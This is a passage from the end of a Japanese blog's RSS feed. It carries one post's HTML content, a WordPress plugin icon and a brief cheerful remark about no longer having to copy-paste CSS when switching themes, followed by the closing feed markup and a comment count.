<p><img src="http://sakuratan.biz/blog/wp-content/plugins/sakura-icons/icon2.png" width="160" height="160" border="0" style="border:0;float:left" /><br />
これでテーマを変えるたびにしてた<br />
CSS をコピペする作業から開放される…<br />
リベレーション！！<br />
<br clear="left" /></p>
]]></content:encoded>
			<wfw:commentRss>http://sakuratan.biz/archives/1059/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
